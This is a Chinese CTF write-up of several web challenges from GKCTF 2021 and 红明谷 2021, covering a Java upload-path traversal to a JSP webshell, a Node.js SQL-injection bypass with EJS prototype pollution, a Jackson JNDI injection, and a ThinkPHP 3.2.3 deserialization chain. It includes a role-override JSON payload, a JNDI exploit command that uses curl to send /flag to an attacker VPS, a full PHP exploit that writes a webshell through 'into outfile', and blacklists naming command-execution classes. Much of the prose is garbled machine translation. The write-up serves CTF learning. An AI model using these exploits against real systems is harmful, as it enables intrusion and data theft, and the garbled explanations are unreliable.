GKCTF&红明谷部分网页题解

  • A+
所属分类:CTF专场

GKCTF&红明谷部分网页题解

最近CTF网络题解

本文的部分被拦截,因此以截图方式呈现,请欣赏代码


GKCTF2021 babtcat


这道题发现register接口被Not allowed这里直接抓包注册发现存在任意文件下载,结合目录穿越先把源码获得,进行审计。


这里需要是upload针对管理员开放的:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.web.servlet;

import com.web.dao.Person;
import com.web.util.tools;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

@MultipartConfig
public class uploadServlet extends HttpServlet {
    public uploadServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String admin = "admin";
        Person user = (Person)req.getSession().getAttribute("user");
        System.out.println(user.getRole());
        if (!admin.equals(user.getRole())) {
            req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>");
            req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
        } else {
            List<String> fileNames = new ArrayList();
            tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
            req.setAttribute("files", fileNames);
            System.out.println(fileNames);
            req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
        }

        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (!ServletFileUpload.isMultipartContent(req)) {
            req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
            req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
        }

        DiskFileItemFactory factory = new DiskFileItemFactory();
        factory.setSizeThreshold(3145728);
        factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
        ServletFileUpload upload = new ServletFileUpload(factory);
        upload.setFileSizeMax(41943040L);
        upload.setSizeMax(52428800L);
        String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";

        try {
            List<FileItem> formItems = upload.parseRequest(req);
            if (formItems != null && formItems.size() > 0) {
                Iterator var7 = formItems.iterator();

                label34:
                while(true) {
                    FileItem item;
                    do {
                        if (!var7.hasNext()) {
                            break label34;
                        }

                        item = (FileItem)var7.next();
                    } while(item.isFormField());

                    String fileName = item.getName();
                    String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
                    String name = fileName.replace(ext, "");
                    if (checkExt(ext) || checkContent(item.getInputStream())) {
                        req.setAttribute("error", "upload failed");
                        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
                    }

                    String filePath = uploadPath + File.separator + name + ext;
                    File storeFile = new File(filePath);
                    item.write(storeFile);
                    req.setAttribute("error", "upload success!");
                }
            }
        } catch (Exception var14) {
            req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
        }

        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
    }

    private static boolean checkExt(String ext) {
        boolean flag = false;
        String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
        if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
            flag = true;
        }

        return flag;
    }

    private static boolean checkContent(InputStream item) throws IOException {
        boolean flag = false;
        InputStreamReader input = new InputStreamReader(item);
        BufferedReader bf = new BufferedReader(input);
        String line = null;
        StringBuilder sb = new StringBuilder();

        while((line = bf.readLine()) != null) {
            sb.append(line);
        }

        String content = sb.toString();
        String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};

        for(int i = 0; i < blackList.length; ++i) {
            if (content.contains(blackList[i])) {
                flag = true;
            }
        }

        return flag;
    }
}

这里可以看到当以admin用户登录后可以调用上传的功能,还可以通过一定的限制,这里贴一下关键的上传逻辑:

String fileName = item.getName();
                    String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
                    String name = fileName.replace(ext, "");
                    if (checkExt(ext) || checkContent(item.getInputStream())) {
                        req.setAttribute("error", "upload failed");
                        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
                    }

                    String filePath = uploadPath + File.separator + name + ext;
                    File storeFile = new File(filePath);
                    item.write(storeFile);
                    req.setAttribute("error", "upload success!");

得到上传文件的后缀以及,并且该后缀以及上传文件的内容还需要具体的方法checkExt和checkContent检验:

    private static boolean checkExt(String ext) {
        boolean flag = false;
        String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
        if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
            flag = true;
        }

        return flag;
    }
        private static boolean checkContent(InputStream item) throws IOException {
        boolean flag = false;
        InputStreamReader input = new InputStreamReader(item);
        BufferedReader bf = new BufferedReader(input);
        String line = null;
        StringBuilder sb = new StringBuilder();

        while((line = bf.readLine()) != null) {
            sb.append(line);
        }

        String content = sb.toString();
        String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};

        for(int i = 0; i < blackList.length; ++i) {
            if (content.contains(blackList[i])) {
                flag = true;
            }
        }

        return flag;
    }

地方对上传文件的限制是非常严格的,可以利用这个重大的问题但是:注意


GKCTF&红明谷部分网页题解


如果判断中将响应进行后并没有执行return操作,则表示代码会继续执行下去,为了将文件进行上传,实际上那两个检测方法都是假的,并没有可能因此最终的作用,因此可以构造文件进行上传。


并且在此处实际上上传了自己的能力,我们注意到:

String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
String filePath = uploadPath + File.separator + name + ext;

此处存在路径穿越,当我们上传的文件例如为../../../../../../../etc/test.jsp则ext=jsp且name=../../../../../../../etc/test.最终会上传到/等目录下,因此实际上传路径是我们可控的,因此我们需要选择一个成功解析jsp的目录上传jsp马智能。


如何以admin身份进行绕过呢?我们可以注意到:

这里使用正则进行简单匹配,而在json中存在的参数会覆盖前面相同的参数因此,我们可以构造有效载荷:

data={"username":"crispr","password":"123","role":"guest","role"/**/:"admin"}

利用注释符来绕过正则匹配或者这样构造:

data={"username":"crispr1","password":"123","role":"admin"/*,"role":"guest"*/}

成功以管理员身份登录后我们上传了一个jsp webshell,这里可以上传到静态目录下,因为该目录可以访问并且解析jsp。


连接执行/readflag得到flag


GKCTF&红明谷部分网页题解


并且此题在上传的dopost中并没有鉴权,实际上以访客用户登录后也可以同样通过post访问该接口实现文件上传


GKCTF2021 babtcat-revenge


出题人汽车上述问题后设置了报复,看下修改后代码 贴出关键对比代码:

String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (!checkExt(ext) && !checkContent(item.getInputStream())) {
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}else {
req.setAttribute("error", "upload failed");               
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}

只有这里通过checkExt状语从句:checkContent方法才能进行文件的上传,但是在之前也说明过,此处想要绕过分机和文件内容进行getshell是比较困难的,在baseDao.class中看到了XMLDecoder:


该方法会在getConnection中被调用,而getConnection方法会在注册和登录时被调用。


GKCTF&红明谷部分网页题解


因此这里存在XML反序列化,而XMLdecoder的内容是/db/db.xml,需要通过升级接口db.xml文件进行覆盖,提示说PrintWriter,网上找到一个payload(使用变形jsp马绕过) ):


通过得到/proc/self/environ当前根目录,文件上传到/db/db.xml中:


GKCTF&红明谷部分网页题解


最后重登录getConnection方法后访问cmd马档案:


GKCTF 2021]easynode


nodejs题,给了源码,先对源码进行审计,可以先登录后台:

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\','^',')','(','"',''']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){

            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }

    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })

但是在此地的过滤虽然说不严谨,但是却能通过恒等式产生这个进入这个地方的符号都了,在并不好实现注入的地方,地方卡了比较久的时间,实际上就是利用了js的可以尝试,我们知道js的类型转换是非常弱的,如果safeStr()方法的参数中是一个数组,因为该方法可以给出参数是字符串并且对字符串进行逐字节匹配,然后替换为*号为数组后,则数组第一个元素为字符串,字符串==*当然不会成立,因此,可以成功绕过,但请注意:

username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

因为只有这样才能使用substr函数,而数组并没有该函数应该可以,如果仅以一系列的使用错误认识我们:

const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
//console.log(str.length);
if (waf(str[i]) =="*"){
    str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
    }
}

该在函数中求最后会有状语从句:字符*号拼接后报道查看,而在JavaScript的中会有隐式的类型转换,当发生拼接后会自动转换为字符串类型从而能够调用substr,因此if的条件必须要满足,也就是在一些被过滤的元素存在,最好该元素在比较靠后的位置,这样i也会比较大不会影响第一个元素,当我们如下构造:此时SQL查询变成:

select * from test where username='admin'#xxxx

这是一个真句子因此登录成功


宝宝是一个原型链的考点,继续审计代码发现存在的adminDIV导航,这里贴下该路径的源码:

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token

    var data =  JSON.parse(req.body.data)

    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql =`select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));

        board = JSON.parse(JSON.stringify(query[0].board));
        for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

就是在DIV模块下回读取用户的用户名,之后将DIV的键名和值直接引导进入,这里使用extend进行合并实际上也是类似的合并方法,使用了JSON。解析,这样才能成为“ proto ”这样的可能不会直接被解析成原型,因此这里存在原链污染,考虑到这里了ejs库:


访问访问/admin时进行渲染,可以利用ejs的原链污染进行getshell:
原理可以参考:ejs原链污染


注意 反射回弹使用base64迎接,在url中需要将base中的+号变成%2b
构造exp:


这原链已经被污染了,当访问admin线路后调用ejs渲染时会:

完成后就可以得到外壳


红明谷CTF 2021]JavaWeb


发现是一个Spring的项目,并且有登录发发的原因,这里抓包改发过去发现是shiro的框架,shiro AES的秘密秘密爆破,无果,应该是主题的不是这个点,提示有提示/json,是shiro的框架可以使用/;/来进行绕过,因为因为/json登录后才能访问,但由于发现存在弱智admin admin888登录后会话需要进行访问也可在此。


使用的jackson进行转换,考虑jackson反序列化:
http://b1ue.cn/archives/189.html


一个由 logback 流行的 jndi 注入,可影响到 2.9.9.1


GKCTF&红明谷部分网页题解


发现 vps 成功监听,下一个是一个比较简单的 JNDI 注入,可以使用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -d @/flag http://xx.xx.xx.xx:3333/" -A xx.xx.xx.xx

注意这里最好用JDK 1.8来运行,有可能收不到数据,运行完监听3333端口这里使用curl -d来外带根目录下的标。


红明谷CTF 2021]EasyTP


一个ThinkPHP的框架,www.zip下载完源码后发现是3.2.3的链子,已经有文章分析过3.2.3的反序列化链,并且这里存在反序列化:


GKCTF&红明谷部分网页题解


链子不会了,最终效果是进行任意数据库连接,这时候可以有两种思路,第一个是一个激发灵感的配置后利用吸进来进行写壳到/var/www/html得到壳这里的mysql为root root弱智力,因此构造如下exp:

<?php
namespace ThinkDbDriver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,   // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true    //把堆叠开了
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace ThinkImageDriver{
    use ThinkSessionDriverMemcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace ThinkSessionDriver{
    use ThinkModel;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use ThinkDbDriverMysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '一句话webshell' into outfile '/var/www/html/crispr.php';#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new ThinkImageDriverImagick()));
}

GKCTF&红明谷部分网页题解


发现将标志写入到数据库中,因此连接数据库得到标志:


GKCTF&红明谷部分网页题解


还有一种想法是利用rogue-mysql-server连接到vps上的恶意服务器
项目在这:https://github.com/allyshka/Rogue-MySql-Server

其原理简单叙述,主要是恶意模拟MySQL服务端的身份,等待客户端的SQL,然后响应时间返回一个LOAD DATA请求,客户端即根据响应内容上传了本机的查询。


借用lightless师傅的描述,正常的请求流程为

客户端:嗨~我将把我的 data.csv 文件给你插入到测试表中!
服务端:好的,读取你本地的 data.csv 文件并导出我!
客户端:这是文件内容:balabala!


而恶意的流程为

客户端:嗨~我将把我的data.csv文件你给插入到测试表中
服务端:好的,可以读取你本地的/etc/passwd文件并读取我!
客户端:这是文件内容:balabala (/etc/passwd 文件的内容)!


所以,只需要客户端在连接服务端后发送一个请求,检测到客户端的本地文件,而可以看到 MySQL 客户端在创建连接后发送一个请求判断服务端的版本或其他信息,这个修改可能几乎可以影响所有的 MySQL 客户端。
这里使用的是 php 版本的 rogue-mysql,并且将exp中的配置成vps的地址,反序列化触发执行。


GKCTF&红明谷部分网页题解


可以读取flag.sh:可以读取flag.sh:

GKCTF&红明谷部分网页题解

本文始发于微信公众号(疯猫网络):GKCTF&红明谷部分网页题解

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: